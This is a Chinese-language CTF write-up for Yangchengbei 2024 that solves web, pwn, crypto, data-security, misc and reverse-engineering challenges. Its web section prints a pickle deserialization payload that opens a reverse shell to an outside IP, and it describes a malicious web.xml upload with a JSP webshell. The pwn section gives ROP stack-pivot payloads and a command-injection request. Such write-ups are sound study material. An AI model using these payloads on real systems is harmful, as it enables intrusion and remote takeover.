羊城杯2024全方向部分题解
字数 1183 2025-08-24 07:48:23
羊城杯2024 CTF竞赛全方向题解技术文档
Web方向
Web2 - 文件读取与反序列化利用
漏洞分析:
- 发现
/login路由和文件读取接口/lyrics?lyrics=Rain.txt - 存在任意文件读取漏洞,但限制在
/var/www/html/XXX/目录下 - 成功读取
app.py源码,发现Flask应用使用pickle反序列化
利用步骤:
- 读取
cookie.py和config/secret_key.py获取加密方式和密钥 - 构造非R方向的pickle序列化payload反弹shell:
res=b'''(S'bash -c 'sh -i >& /dev/tcp/101.37.149.223/2333 0>&1''\nios\nsystem\n.'''
secret_code = "EnjoyThePlayTime123456"
cookie_value = cookie_encode(res, key=secret_code)
- 修改cookie访问
/board路由获取shell
Web3 - Tomcat配置漏洞
漏洞利用:
- 读取
/conf/tomcat-users.xml获取凭证 - 上传恶意XML配置文件:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="4.0">
<servlet>
<servlet-name>exec</servlet-name>
<jsp-file>/WEB-INF/1.xml</jsp-file>
</servlet>
<servlet-mapping>
<servlet-name>exec</servlet-name>
<url-pattern>/exec</url-pattern>
</servlet-mapping>
</web-app>
- 上传JSP木马并执行命令反弹shell
数据安全方向
数据安全1 - 数据分类
解决方案:
- 实现分类函数判断数据类型:
def classify_data(data,k):
if data.isdigit() and 1 <= int(data) <= 10000: return 0 # 编号
if data in ['男', '女']: return 4 # 性别
if is_chinese(data[0]): return 3 # 姓名
if len(data) == 32: return 2 # 密码
if data.isdigit() and len(data) == 8: return 5 # 出生日期
if data[6:14] in k: return 6 # 身份证号
if data.startswith(phone_prefixes): return 7 # 手机号
return 1 # 用户名
数据安全2 - 数据校验
校验逻辑:
- 使用pyshark解析pcapng文件提取JSON数据
- 实现严格校验:
def check(data):
# 检查特殊字符
for i in dot:
if i in any_field: return 0
# 校验性别与身份证号一致性
if (data[2]=="男" and int(data[4][-2])%2==0) or \
(data[2]=="女" and int(data[4][-2])%2==1): return 0
# 校验身份证校验位
sum=0
for i in range(len(data[4])-1):
sum += (int(data[4][i])*xishu[i])
if jiaoyan[sum%11]!=data[4][-1]: return 0
# 校验手机号前缀
if int(data[5][:3]) not in phone: return 0
return 1
PWN方向
pstack - 栈迁移利用
利用步骤:
- 构造三次栈迁移链:
payload = b'a'*0x30 + p64(bss+0x30) + p64(read) # 第一次迁移
payload = p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(rbp) + p64(bss+0x300+0x30) + p64(read) # 第二次
payload = b'a'*8 + p64(rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr) # 第三次
- 泄露libc地址后获取shell
httpd - 目录遍历与命令注入
利用链:
- 双重URL编码绕过路径检查:
payload = b'get /cp%20/flag%20/home/ctf/html HTTP/1.0'
- 通过popen执行命令读取flag
Crypto方向
TheoremPlus - 威尔逊定理应用
关键算法:
def decode_e(e):
if e > 1:
mul = 1
for i in range(1, e):
mul *= i
if e - mul % e - 1 == 0:
mulmod = mul % e - e
else:
mulmod = mul % e
return mulmod + decode_e(e - 1)
else:
return 0
TH_Curve - 椭圆曲线攻击
解题步骤:
- 将Twisted Hessian曲线转换为Weierstrass形式
- 使用Pohlig-Hellman算法计算离散对数
- 参数转换公式:
a0 = 1
a1 = -3*(d/3)/(a-(d/3)**3)
a3 = -9/((a-(d/3)**3)**2)
MISC方向
hiden - 音频隐写
提取算法:
# 从wav中提取隐藏数据
for index in range(0, len(wav_data), 4):
txt_data.append(wav_data[index])
file_len = int.from_bytes(txt_data[:3], 'little')
flag = txt_data[3:3+file_len]
check_in - 流量分析
关键步骤:
- 十六进制转pcapng:
bytes_data = bytes.fromhex(hex_str)
with open(output_file, 'wb') as f:
f.write(bytes_data)
- 使用TLS密钥解密HTTPS流量
- 分析GIF帧间隔获取隐藏信息
RE方向
pic - RC4逆向分析
密钥爆破:
def RC4(key, plaintext):
key = [ord(c) for c in key]
S = init(key)
keystream = fff(S, len(plaintext))
result = bytearray([keystream[i] ^ plaintext[i] ^ 0x11 for i in range(len(plaintext))])
result = bytearray([b ^ key[1] for b in result])
return result
docCrack - 宏病毒分析
解密流程:
- 提取VBA宏代码
- 异或解密:
enc = [4288, 4480, 5376, ...] # 密文数组
for i in enc:
print(chr((i >> 6) ^ 7), end="")
主函数混淆 - 逆向分析
真实执行流程:
- atexit注册的函数逆序执行:
- DCT加密 → ROT13 → 输入验证
- IDCT解密算法:
def idct(dct_coeffs):
N = len(dct_coeffs)
original = np.zeros(N)
for n in range(N):
sum_val = 0.0
for k in range(N):
Ck = (1.0/np.sqrt(N)) if k == 0 else np.sqrt(2.0/N)
sum_val += Ck * dct_coeffs[k] * np.cos(np.pi*k*(2.0*n+1)/(2*N))
original[n] = sum_val
return original
关键知识点总结
-
Web安全:
- Flask pickle反序列化漏洞利用
- Tomcat配置错误导致的安全问题
- XML配置文件注入
-
密码学:
- 威尔逊定理在素数判定中的应用
- 椭圆曲线转换与Pohlig-Hellman算法
- RC4算法实现与密钥爆破
-
逆向工程:
- 函数注册机制(atexit)分析
- IDCT算法逆向
- 宏病毒分析与解密
-
数据安全:
- 结构化数据分类算法
- 数据完整性校验实现
- 网络流量分析与解密
-
二进制利用:
- 栈迁移技术
- 目录遍历漏洞利用
- 异常处理机制利用